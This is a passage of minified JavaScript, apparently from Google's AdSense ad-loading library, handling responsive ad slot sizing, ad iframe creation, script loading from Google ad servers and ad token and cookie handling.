data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g=Number(c[f]);if(isNaN(g)||0===g)return{A:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(isNaN(g)||0===g)return{A:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{v:d,u:e,ra:b}}function Ki(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Li=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Mi(a,b){R.call(this,a,b)}ka(Mi,R);Mi.prototype.M=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))};function Ni(a,b){Oi(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Bi(9,new Mi(a,Math.floor(a*b.google_phwr)));var c=Vb();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*Ei.mobile_banner_image_sidebyside+Gi.mobile_banner_image_sidebyside)+96),a={O:a,N:c,u:1,v:12,C:"mobile_banner_image_sidebyside"}):(a=Ki(a),a={O:a.width,N:a.height,u:1,v:13,C:"image_sidebyside"}):(a=Ki(a),a={O:a.width,N:a.height,u:4,v:2,C:"image_stacked"});Pi(b,a);return new Bi(9,new Mi(a.O,a.N))}function Qi(a,b){Oi(a,b);var c=Ji({v:b.google_content_recommendation_rows_num,u:b.google_content_recommendation_columns_num,C:b.google_content_recommendation_ui_type});if(c.A)a={O:0,N:0,u:0,v:0,C:"image_stacked",A:c.A};else{var d=2===c.ra.length&&468<=a?1:0;var e=c.ra[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=Ii[e];for(var g=c.u[d];a/g<f&&1<g;)g--;f=g;c=c.v[d];d=Math.floor(((a-8*f-8)/f*Ei[e]+Gi[e])*c+8*c+8);a=1500<a?{width:0,height:0,ia:"Calculated slot width is too large: "+a}:1500<d?{width:0,height:0,ia:"Calculated slot height is too large: "+d}:{width:a,height:d};a=a.ia?{O:0,N:0,u:0,v:0,C:e,A:a.ia}:{O:a.width,N:a.height,u:f,v:c,C:e}}if(a.A)throw new L(a.A);Pi(b,a);return new Bi(9,new Mi(a.O,a.N))}function Oi(a,b){if(0>=a)throw new L("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");}function Pi(a,b){a.google_content_recommendation_ui_type=b.C;a.google_content_recommendation_columns_num=b.u;a.google_content_recommendation_rows_num=b.v};function Ri(a,b){R.call(this,a,b)}ka(Ri,R);Ri.prototype.M=function(){return this.minWidth()};Ri.prototype.Z=function(a,b,c,d){var e=this.M(b);Ag(a,d,d.parentElement,b,e,c);if(!c.google_ad_resize){d.style.height=this.height()+"px";b=J(a,Of.c)||"ca-pub-9118350542306317"===c.google_ad_client;d=yf(197)?!J(a,Of.c):J(a,Of.B);e=J(a,P.c);var f=J(a,P.T)||J(a,P.L)||J(a,P.K)||J(a,P.I)||J(a,P.J);if(J(a,Of.c)||J(a,Of.B)||e||f)c.ovlp=!0;b?c.rpe=!1:d&&(c.rpe=!0);if(J(a,Jf.c)||J(a,Jf.R)||J(a,Jf.P))c.ovlp=!0}};function Si(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Ti(a,b,c){for(var d=a.length,e=null,f=0;f<d;++f){var g=a[f];if(b(g)){if(!c||c(g))return g;null===e&&(e=g)}}return e};var V=[new U(970,90,2),new U(728,90,2),new U(468,60,2),new U(336,280,1),new U(320,100,2),new U(320,50,2),new U(300,600,4),new U(300,250,1),new U(250,250,1),new U(234,60,2),new U(200,200,1),new U(180,150,1),new U(160,600,4),new U(125,125,1),new U(120,600,4),new U(120,240,4),new U(120,120,1,!0)],Ui=[V[6],V[12],V[3],V[0],V[7],V[14],V[1],V[8],V[10],V[4],V[15],V[2],V[11],V[5],V[13],V[9],V[16]];function Vi(a,b,c,d,e){"false"!=e.google_full_width_responsive||c.location&&"#gfwrffwaifhp"==c.location.hash?"autorelaxed"==b&&(e.google_full_width_responsive||J(c,hg.g))||Wi(b)||e.google_ad_resize?(b=wg(a,c,d,e),c=!0!==b?{l:a,m:b}:{l:Q(c)||a,m:!0}):c={l:a,m:2}:c={l:a,m:1};b=c.m;return!0!==b?{l:a,m:b}:d.parentElement?{l:c.l,m:b}:{l:a,m:b}}function Xi(a,b,c,d,e){var f=be(247,function(){return Vi(a,b,c,d,e)}),g=f.l;f=f.m;var h=!0===f,k=F(d.style.width),m=F(d.style.height),n=Yi(g,b,c,d,e,h);g=n.H;h=n.G;var u=n.D,w=n.F,z=n.ha;n=n.Na;var H=Zi(b,z),E,G=(E=Bg(d,c,"marginLeft",F))?E+"px":"",sb=(E=Bg(d,c,"marginRight",F))?E+"px":"";E=Bg(d,c,"zIndex")||"";return new Bi(H,g,z,null,n,f,h,u,w,G,sb,m,k,E)}function Wi(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)}function Yi(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Q(c))?4:3:ug(b);var g=!1,h=!1,k=$i(c),m=488>Q(c);if(k&&m||!k&&Vb()){var n=tg(d,c);h=Eg(d,c);g=!h&&n;h=h&&n}m=(g||k?Ui:V).slice(0);var u=488>Q(c),w=[Cg(a),Dg(u,c,d,h),zi(b)];null!=e.google_max_responsive_height&&w.push(Gg(e.google_max_responsive_height));k||w.push(aj(u));u=[function(H){return!H.Ma}];if(g||h)g=g&&!k?Ig(c,d):Jg(c,d),u.push(Gg(g));var z=Ti(m,Si(w),Si(u));if(!z)throw new L("No slot size for availableWidth="+a);g=be(248,function(){var H;a:if(f){if(e.gfwrnh&&(H=F(e.gfwrnh))){H={H:new Ri(a,H),G:!0,D:!1,F:!1};break a}if($i(c)||"true"==e.google_full_width_responsive||!Eg(d,c)||e.google_resizing_allowed){H=!1;var E=og(c).clientHeight,G=rg(d,c),sb=c.google_lpabyc,bg=Hg(d,c);if(bg&&2<bg&&!c.google_bfabyc&&(!sb||G-sb>E)&&(E=.9*og(c).clientHeight,G=Math.min(E,bj(c,d,e)),E&&G==E)){G=c.google_pbfabyc;H=!G;if(J(c,Jf.R)||J(c,Jf.P)){c.google_bfabyc=rg(d,c)+E;H={H:new Ri(a,Math.floor(E)),G:!0,D:!0,F:!0};break a}G||(c.google_pbfabyc=rg(d,c)+E)}E=a/1.2;G=Math.min(E,bj(c,d,e));if(G<.5*E||100>G)G=E;if(J(c,P.L)||J(c,P.K)||J(c,P.I)||J(c,P.J))G*=1.3;H={H:new Ri(a,Math.floor(G)),G:G<E?102:!0,D:!1,F:H}}else H={H:new Ri(a,z.height()),G:101,D:!1,F:!1}}else H={H:z,G:100,D:!1,F:!1};return H});return{H:g.H,G:g.G,D:g.D,F:g.F,ha:b,Na:n}}function bj(a,b,c){return c.google_resizing_allowed||"true"==c.google_full_width_responsive?Infinity:Ig(a,b)}function Zi(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function aj(a){return function(b){return!(320==b.minWidth()&&(a&&50==b.height()||!a&&100==b.height()))}}function $i(a){return yf(197)?!J(a,Of.c):J(a,Of.B)};var cj={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function dj(a,b){R.call(this,a,b)}ka(dj,R);dj.prototype.M=function(){return Math.min(1200,this.minWidth())};function ej(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f&&"false"!=e.google_full_width_responsive){var g=vg(b,c,a,.2,e);if(!0!==g)e.gfwrnwer=g;else if(g=Q(b)){e.google_full_width_responsive_allowed=!0;var h=c.parentElement;if(h){b:for(var k=c,m=0;100>m&&k.parentElement;++m){for(var n=k.parentElement.childNodes,u=0;u<n.length;++u){var w=n[u];if(w!=k&&yg(b,w))break b}k=k.parentElement;k.style.width="100%";k.style.height="auto"}Ag(b,c,h,a,g,e);a=g}}}if(250>a)throw new L("Fluid responsive ads must be at least 250px wide: availableWidth="+a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new L("Fluid responsive ads must be at least 50px tall: height="+f);return new Bi(11,new R(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(e=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){d=[];for(g=0;g<e;g++)d.push(parseInt(c[g],36)/b);b=d}else b=null;if(!b)throw new L("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;e=1;d=b.length;for(g=0;g<d;g++)c+=b[g]*e,e*=f;f=Math.ceil(1E3*c- -725+10);if(isNaN(f))throw new L("Invalid height: height="+f);if(50>f)throw new L("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new L("Fluid responsive ads must be at most 1200px tall: height="+f);return new Bi(11,new R(a,f))}if(J(b,lg.c)||J(b,lg.aa)||J(b,lg.ba))e.ovlp=!0;e=cj[f];if(!e)throw new L("Invalid data-ad-layout value: "+f);d=J(b,lg.ba)||J(b,lg.aa);c=Eg(c,b);b=Q(b);b="in-article"===f&&!c&&a===b&&d?Math.ceil(1.25*e(a)):Math.ceil(e(a));return new Bi(11,"in-article"==f?new dj(a,b):new R(a,b))};function fj(a,b){R.call(this,a,b)}ka(fj,R);fj.prototype.M=function(){return this.minWidth()};fj.prototype.ea=function(a){return R.prototype.ea.call(this,a)+"_0ads_al"};var gj=[new fj(728,15),new fj(468,15),new fj(200,90),new fj(180,90),new fj(160,90),new fj(120,90)];function hj(a,b,c){var d=250,e=90;d=void 0===d?130:d;e=void 0===e?30:e;var f=Ti(gj,Cg(a));if(!f)throw new L("No link unit size for width="+a+"px");a=Math.min(a,1200);f=f.height();b=Math.max(f,b);d=(new Bi(10,new fj(a,Math.min(b,15==f?e:d)))).a;b=d.minWidth();d=d.height();15<=c&&(d=c);return new Bi(10,new fj(b,d))}function ij(a,b,c,d){if("false"==d.google_full_width_responsive)return d.google_full_width_responsive_allowed=!1,d.gfwrnwer=1,a;var e=wg(a,b,c,d);if(!0!==e)return d.google_full_width_responsive_allowed=!1,d.gfwrnwer=e,a;e=Q(b);if(!e)return a;d.google_full_width_responsive_allowed=!0;Ag(b,c,c.parentElement,a,e,d);return e};function jj(a,b,c,d,e){var f;(f=Q(b))?488>Q(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,Ag(b,c,c.parentElement,a,f,e),f={l:f,m:!0}):f={l:a,m:5}:f={l:a,m:4}:f={l:a,m:10};var g=f;f=g.l;g=g.m;if(!0!==g||a==f)return new Bi(12,new R(a,d),null,null,!0,g,100);a=Yi(f,"auto",b,c,e,!0);return new Bi(1,a.H,a.ha,2,!0,g,a.G,a.D,a.F)};function kj(a){var b=a.google_ad_format;if("autorelaxed"==b){a:{if("pedestal"!=a.google_content_recommendation_ui_type){b=ba(Li);for(var c=b.next();!c.done;c=b.next())if(null!=a[c.value]){a=!0;break a}}a=!1}return a?9:5}if(Wi(b))return 1;if("link"==b)return 4;if("fluid"==b)return 8}function lj(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&Bg(b,d,"width",F)||c.google_ad_width||0;!J(d,Qf.g)||5!==a&&9!==a||(c.google_ad_format="auto",c.google_ad_slot="",a=1);var f=(f=mj(a,e,b,c,d))?f:Xi(e,c.google_ad_format,d,b,c);f.a.Z(d,e,c,b);Ci(f,e,c);1!=a&&(a=f.a.height(),b.style.height=a+"px")}function mj(a,b,c,d,e){var f=d.google_ad_height||Bg(c,e,"height",F);switch(a){case 5:return a=be(247,function(){return Vi(b,d.google_ad_format,e,c,d)}),f=a.l,a=a.m,!0===a&&b!=f&&Ag(e,c,c.parentElement,b,f,d),!0===a?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=a),nj(e)&&(d.ovlp=!0),Ni(f,d);case 9:return Qi(b,d);case 4:return a=ij(b,e,c,d),hj(a,Jg(e,c),f);case 8:return ej(b,e,c,f,d);case 10:return jj(b,e,c,f,d)}}function nj(a){return J(a,hg.c)||J(a,hg.g)};function W(a){this.h=[];this.b=a||window;this.a=0;this.f=null;this.i=0}var oj;l=W.prototype;l.Ia=function(a,b){0!=this.a||0!=this.h.length||b&&b!=window?this.pa(a,b):(this.a=2,this.wa(new pj(a,window)))};l.pa=function(a,b){this.h.push(new pj(a,b||this.b));qj(this)};l.Ra=function(a){this.a=1;if(a){var b=ce(188,Fa(this.va,this,!0));this.f=this.b.setTimeout(b,a)}};l.va=function(a){a&&++this.i;1==this.a&&(null!=this.f&&(this.b.clearTimeout(this.f),this.f=null),this.a=0);qj(this)};l.Ya=function(){return!(!window||!Array)};l.La=function(){return this.i};function qj(a){var b=ce(189,Fa(a.Za,a));a.b.setTimeout(b,0)}l.Za=function(){if(0==this.a&&this.h.length){var a=this.h.shift();this.a=2;var b=ce(190,Fa(this.wa,this,a));a.a.setTimeout(b,0);qj(this)}};l.wa=function(a){this.a=0;a.b()};function rj(a){try{return a.sz()}catch(b){return!1}}function sj(a){return!!a&&("object"===typeof a||"function"===typeof a)&&rj(a)&&Ec(a.nq)&&Ec(a.nqa)&&Ec(a.al)&&Ec(a.rl)}function tj(){if(oj&&rj(oj))return oj;var a=Bf(),b=a.google_jobrunner;return sj(b)?oj=b:a.google_jobrunner=oj=new W(a)}function uj(a,b){tj().nq(a,b)}function vj(a,b){tj().nqa(a,b)}W.prototype.nq=W.prototype.Ia;W.prototype.nqa=W.prototype.pa;W.prototype.al=W.prototype.Ra;W.prototype.rl=W.prototype.va;W.prototype.sz=W.prototype.Ya;W.prototype.tc=W.prototype.La;function pj(a,b){this.b=a;this.a=b};function wj(a,b){var c=Mc(b);if(c){c=Q(c);var d=$b(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!=d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};function xj(a){var b=this;this.a=a;a.google_iframe_oncopy||(a.google_iframe_oncopy={handlers:{},upd:function(c,d){var e=yj("rx",c),f=Number;a:{if(c&&(c=c.match("dt=([^&]+)"))&&2==c.length){c=c[1];break a}c=""}f=f(c);f=(new Date).getTime()-f;e=e.replace(/&dtd=(\d+|-?M)/,"&dtd="+(1E5<=f?"M":0<=f?f:"-M"));b.set(d,e);return e}});this.b=a.google_iframe_oncopy}xj.prototype.set=function(a,b){var c=this;this.b.handlers[a]=b;this.a.addEventListener&&this.a.addEventListener("load",function(){var d=c.a.document.getElementById(a);try{var e=d.contentWindow.document;if(d.onload&&e&&(!e.body||!e.body.firstChild))d.onload()}catch(f){}},!1)};function yj(a,b){var c=new RegExp("\\b"+a+"=(\\d+)"),d=c.exec(b);d&&(b=b.replace(c,a+"="+(+d[1]+1||1)));return b}var zj,Aj="var i=this.id,s=window.google_iframe_oncopy,H=s&&s.handlers,h=H&&H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&&d&&(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){try{h=s.upd(h,i)}catch(e){}w.location.replace(h)}}";var X=Aj;/[\x00&<>"']/.test(X)&&(-1!=X.indexOf("&")&&(X=X.replace(Za,"&amp;")),-1!=X.indexOf("<")&&(X=X.replace($a,"&lt;")),-1!=X.indexOf(">")&&(X=X.replace(ab,"&gt;")),-1!=X.indexOf('"')&&(X=X.replace(bb,"&quot;")),-1!=X.indexOf("'")&&(X=X.replace(cb,"&#39;")),-1!=X.indexOf("\x00")&&(X=X.replace(db,"&#0;")));Aj=X;zj=Aj;var Bj={},Cj=(Bj.google_ad_modifications=!0,Bj.google_analytics_domain_name=!0,Bj.google_analytics_uacct=!0,Bj.google_pause_ad_requests=!0,Bj);var Dj=/^\.google\.(com?\.)?[a-z]{2,3}$/,Ej=/\.(cn|com\.bi|do|sl|ba|by|ma|am)$/;function Fj(a){return Dj.test(a)&&!Ej.test(a)}var Gj=p;function Hj(a){a="https://adservice"+(a+"/adsid/integrator.js");var b=["domain="+encodeURIComponent(p.location.hostname)];Y[3]>=+new Date&&b.push("adsid="+encodeURIComponent(Y[1]));return a+"?"+b.join("&")}var Y,Z;function Ij(){Gj=p;Y=Gj.googleToken=Gj.googleToken||{};var a=+new Date;Y[1]&&Y[3]>a&&0<Y[2]||(Y[1]="",Y[2]=-1,Y[3]=-1,Y[4]="",Y[6]="");Z=Gj.googleIMState=Gj.googleIMState||{};Fj(Z[1])||(Z[1]=".google.com");ya(Z[5])||(Z[5]=[]);"boolean"==typeof Z[6]||(Z[6]=!1);ya(Z[7])||(Z[7]=[]);pa(Z[8])||(Z[8]=0)}var Jj={fa:function(){return 0<Z[8]},Ua:function(){Z[8]++},Va:function(){0<Z[8]&&Z[8]--},Wa:function(){Z[8]=0},ab:function(){return!1},Ka:function(){return Z[5]},Ga:function(a){try{a()}catch(b){p.setTimeout(function(){throw b;},0)}},Ta:function(){if(!Jj.fa()){var a=p.document,b=function(e){e=Hj(e);a:{try{var f=qa();break a}catch(g){}f=void 0}Dh(a,e,f);f=a.createElement("script");f.type="text/javascript";f.onerror=function(){return p.processGoogleToken({},2)};e=Tb(e);vb(f,e);try{(a.head||a.body||a.documentElement).appendChild(f),Jj.Ua()}catch(g){}},c=Z[1];b(c);".google.com"!=c&&b(".google.com");b={};var d=(b.newToken="FBT",b);p.setTimeout(function(){return p.processGoogleToken(d,1)},1E3)}}};function Kj(){p.processGoogleToken=p.processGoogleToken||function(a,b){var c=a;c=void 0===c?{}:c;b=void 0===b?0:b;a=c.newToken||"";var d="NT"==a,e=parseInt(c.freshLifetimeSecs||"",10),f=parseInt(c.validLifetimeSecs||"",10),g=c["1p_jar"]||"";c=c.pucrd||"";Ij();1==b?Jj.Wa():Jj.Va();var h=Gj.googleToken=Gj.googleToken||{},k=0==b&&a&&q(a)&&!d&&pa(e)&&0<e&&pa(f)&&0<f&&q(g);d=d&&!Jj.fa()&&(!(Y[3]>=+new Date)||"NT"==Y[1]);var m=!(Y[3]>=+new Date)&&0!=b;if(k||d||m)d=+new Date,e=d+1E3*e,f=d+1E3*f,1E-5>Math.random()&&sc("https://pagead2.googlesyndication.com/pagead/gen_204?id=imerr&err="+b,null),h[5]=b,h[1]=a,h[2]=e,h[3]=f,h[4]=g,h[6]=c,Ij();if(k||!Jj.fa()){b=Jj.Ka();for(a=0;a<b.length;a++)Jj.Ga(b[a]);b.length=0}};Ij();Y[3]>=+new Date&&Y[2]>=+new Date||Jj.Ta()};var Lj=zb("script");function Mj(){D.google_sa_impl&&!D.document.getElementById("google_shimpl")&&(D.google_sa_queue=null,D.google_sl_win=null,D.google_sa_impl=null);if(!D.google_sa_queue){D.google_sa_queue=[];D.google_sl_win=D;D.google_process_slots=function(){return Nj(D)};var a=Oj();Dh(D.document,a);J(D,"20199335")||!qb()||t("iPhone")&&!t("iPod")&&!t("iPad")||t("iPad")||t("iPod")?Zb(D.document,a).id="google_shimpl":(a=Rb(document,"IFRAME"),a.id="google_shimpl",a.style.display="none",D.document.documentElement.appendChild(a),xi(D,"google_shimpl","<!doctype html><html><body><"+(Lj+">google_sl_win=window.parent;google_async_iframe_id='google_shimpl';</")+(Lj+">")+Pj()+"</body></html>"),a.contentWindow.document.close())}}var Nj=ce(215,function(a){var b=a.google_sa_queue,c=b.shift();a.google_sa_impl||de("shimpl",{t:"no_fn"});"function"==wa(c)&&be(216,c);b.length&&a.setTimeout(function(){return Nj(a)},0)});function Qj(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)}function Pj(){var a=Oj();return"<"+Lj+' src="'+a+'"></'+Lj+">"}function Oj(){var a="/show_ads_impl.js";a=void 0===a?"/show_ads_impl.js":a;a:{if(xc)try{var b=D.google_cafe_host||D.top.google_cafe_host;if(b){var c=b;break a}}catch(d){}c=Ac()}return jf(c,["/pagead/js/",wc(),"/r20190131",a,""].join(""),"https")}function Rj(a,b,c,d){return function(){var e=!1;d&&tj().al(3E4);try{xi(a,b,c),e=!0}catch(g){var f=Bf().google_jobrunner;sj(f)&&f.rl()}e&&(e=yj("google_async_rrc",c),(new xj(a)).set(b,Rj(a,b,e,!1)))}}function Sj(a){if(!yi)a:{for(var b=[p.top],c=[],d=0,e;e=b[d++];){c.push(e);try{if(e.frames)for(var f=e.frames.length,g=0;g<f&&1024>b.length;++g)b.push(e.frames[g])}catch(k){}}for(b=0;b<c.length;b++)try{var h=c[b].frames.google_esf;if(h){yi=h;break a}}catch(k){}yi=null}if(!yi){if(/[^a-z0-9-]/.test(a))return null;c=Rb(document,"IFRAME");c.id="google_esf";c.name="google_esf";h=hf(vc("","googleads.g.doubleclick.net"),["/pagead/html/",wc(),"/r20190131/zrt_lookup.html#",encodeURIComponent("")].join(""));c.src=h;c.style.display="none";c.setAttribute("data-ad-client",Fh(a));return c}return null}function Tj(a,b,c){Uj(a,b,c,function(d,e,f){d=d.document;for(var g=e.id,h=0;!g||d.getElementById(g+"_anchor");)g="aswift_"+h++;e.id=g;e.name=g;g=Number(f.google_ad_width||0);h=Number(f.google_ad_height||0);var k=f.ds||"";k&&(k+=k.endsWith(";")?"":";");var m="";if(!f.google_enable_single_iframe){m=["<iframe"];for(n in e)e.hasOwnProperty(n)&&m.push(n+"="+e[n]);m.push('style="left:0;position:absolute;top:0;border:0px;width:'+(g+"px;height:"+(h+'px;"')));m.push("></iframe>");m=m.join(" ")}var n=e.id;var u="";u=void 0===u?"":u;g="border:none;height:"+h+"px;margin:0;padding:0;position:relative;visibility:visible;width:"+(g+"px;background-color:transparent;");n=['<ins id="'+(n+'_expand"'),' style="display:inline-table;'+g+(void 0===k?"":k)+'"',u?' data-ad-slot="'+u+'">':">",'<ins id="'+(n+'_anchor" style="display:block;')+g+'">',m,"</ins></ins>"].join("");16==f.google_reactive_ad_format?(f=d.createElement("div"),f.innerHTML=n,c.appendChild(f.firstChild)):c.innerHTML=n;return e.id})}function Uj(a,b,c,d){var e=b.google_ad_width,f=b.google_ad_height;J(a,jg.g)?(fe(!0),b.google_enable_single_iframe=!0):J(a,jg.c)&&fe(!1);var g={};null!=e&&(g.width=e&&'"'+e+'"');null!=f&&(g.height=f&&'"'+f+'"');g.frameborder='"0"';g.marginwidth='"0"';g.marginheight='"0"';g.vspace='"0"';g.hspace='"0"';g.allowtransparency='"true"';g.scrolling='"no"';g.allowfullscreen='"true"';g.onload='"'+zj+'"';d=d(a,g,b);Vj(a,c,b);(c=Sj(b.google_ad_client))&&a.document.documentElement.appendChild(c);c=Ha;e=(new Date).getTime();b.google_lrv=wc();b.google_async_iframe_id=d;b.google_unique_id=Gc(a);b.google_start_time=c;b.google_bpp=e>c?e-c:1;b.google_async_rrc=0;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[d]=b;a.google_t12n_vars=vf;if(b.google_enable_single_iframe){var h={pubWin:a,iframeWin:null,vars:b};Qj(a,function(){a.google_sa_impl(h)},a.document.getElementById(d+"_anchor")?uj:vj)}else Qj(a,Rj(a,d,["<!doctype html><html><body>","<"+Lj+">","google_sl_win=window.parent;google_iframe_start_time=new Date().getTime();",'google_async_iframe_id="'+d+'";',"</"+Lj+">","<"+Lj+">window.parent.google_sa_impl({iframeWin: window, pubWin: window.parent, vars: window.parent['google_sv_map']['"+(d+"']});</")+Lj+">","</body></html>"].join(""),!0),a.document.getElementById(d)?uj:vj)}function Vj(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!Pb[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if(!pa(c.google_reactive_sra_index)||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width,c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=fc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,m=0,n=0;n<k.length;++n){var u=k[n];if(u.nodeName&&u.nodeName.toString().toLowerCase()===g){if(b===u){g="."+m;break a}++m}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var w=a.parent;for(e=0;w&&w!==a&&25>e;++e){var z=w.frames;for(d=0;d<z.length;++d)if(a===z[d]){b.push(d);break}a=w;w=a.parent}}catch(H){}c.google_ad_dom_fingerprint=fc(h+b.join()).toString()}};function Wj(a,b){a=a.attributes;for(var c=a.length,d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ya(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));if(!b.hasOwnProperty(f)){e=e.value;var g={};g=(g.google_reactive_ad_format=tc,g.google_allow_expandable_ads=jc,g);e=g.hasOwnProperty(f)?g[f](e,null):e;null===e||(b[f]=e)}}}}function Xj(a){if(a=Bc(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12}function Yj(a,b,c){Wj(a,b);if(c.document&&c.document.body&&!kj(b)&&!b.google_reactive_ad_format){var d=parseInt(a.style.width,10),e=wj(a,c);if(0<e&&d>e){var f=parseInt(a.style.height,10);d=!!Pb[d+"x"+f];var g=e;if(d){var h=Qb(e,f);if(h)g=h,b.google_ad_format=h+"x"+f+"_0ads_al";else throw new L("No slot size for availableWidth="+e);}b.google_ad_resize=!0;b.google_ad_width=g;d||(b.google_ad_format=null,b.google_override_format=!0);e=g;a.style.width=e+"px";f=Xi(e,"auto",c,a,b);g=e;f.a.Z(c,g,b,a);Ci(f,g,b);f=f.a;b.google_responsive_formats=null;f.minWidth()>e&&!d&&(b.google_ad_width=f.minWidth(),a.style.width=f.minWidth()+"px")}}d=a.offsetWidth||Bg(a,c,"width",F)||b.google_ad_width||0;a:{e=Ga(Xi,d,"auto",c,a,b,!1,!0);h=J(c,ag.c);var k=J(c,ag.g);f=J(c,dg.c);g=J(c,dg.g);var m=Ih(c,11,b.google_ad_client),n=J(c,fg.g);var u=b.google_ad_client;u=null!=Gh(c,void 0===u?"":u);if(!(h||k||m||u)||!Vb()||b.google_reactive_ad_format||kj(b)||qg(a,b)||b.google_ad_resize||Lc(c)!=c)d=!1;else{for(k=a;k;k=k.parentElement)if(m=$b(k,c),!m||!Oa(["static","relative"],m.position)){d=!1;break a}if(!0!==vg(c,a,d,.3,b))d=!1;else{b.google_resizing_allowed=!0;k=Bh(c.location,"google_responsive_slot_debug");m=O(zf(),142);if(k||Math.random()<m)b.ovlp=!0;h||g||n?(h={},Ci(e(),d,h),b.google_resizing_width=h.google_ad_width,b.google_resizing_height=h.google_ad_height,h.ds&&(b.ds=h.ds),b.iaaso=!1):(b.google_ad_format="auto",b.iaaso=!0,b.armr=1);(d=f?"AutoOptimizeAdSizeVariant":g?"AutoOptimizeAdSizeOriginal":null)&&(b.google_ad_channel=b.google_ad_channel?[b.google_ad_channel,d].join("+"):d);d=!0}}}if(e=kj(b))lj(e,a,b,c,d);else{if(qg(a,b)){if(d=$b(a,c))a.style.width=d.width,a.style.height=d.height,pg(d,b);b.google_ad_width||(b.google_ad_width=a.offsetWidth);b.google_ad_height||(b.google_ad_height=a.offsetHeight);b.google_loader_features_used=256;b.google_responsive_auto_format=Xj(c)}else pg(a.style,b),300==b.google_ad_width&&250==b.google_ad_height&&(d=a.style.width,a.style.width="100%",e=a.offsetWidth,a.style.width=d,b.google_available_width=e);c.location&&"#gfwmrp"==c.location.hash||12==b.google_responsive_auto_format&&"true"==b.google_full_width_responsive&&!J(c,Mf.g)?lj(10,a,b,c,!1):J(c,Nf.g)&&12==b.google_responsive_auto_format&&(a=wg(a.offsetWidth||parseInt(a.style.width,10)||b.google_ad_width,c,a,b),!0!==a?(b.efwr=!1,b.gfwrnwer=a):b.efwr=!0)}};function Zj(a){var b;this.b=b=void 0===b?document:b;this.h=void 0===a?0:a;this.f=ak(this,"__gads=");this.i=!1;this.a=null;this.s=!1;bk(this)}Zj.prototype.w=function(a){this.h=a;bk(this)};function ck(a,b){var c=Vd;var d=void 0===d?dk:d;1!=a.h&&(a.f||a.i)&&(D._setgfp_=Ud(c,629,function(e){delete D._setgfp_;if(!e)throw Error("Invalid JSONP response");if(e=e._cookies_){var f=e[0];if(!f)throw Error("Invalid JSONP response");var 